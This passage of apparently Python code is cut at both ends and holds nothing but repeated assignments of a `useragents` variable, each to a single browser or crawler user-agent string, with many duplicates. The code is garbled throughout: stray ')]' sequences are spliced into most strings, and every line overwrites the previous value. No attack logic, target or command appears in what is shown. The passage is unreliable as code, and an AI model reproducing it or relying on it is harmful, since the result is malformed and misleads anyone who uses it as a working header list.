.NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; 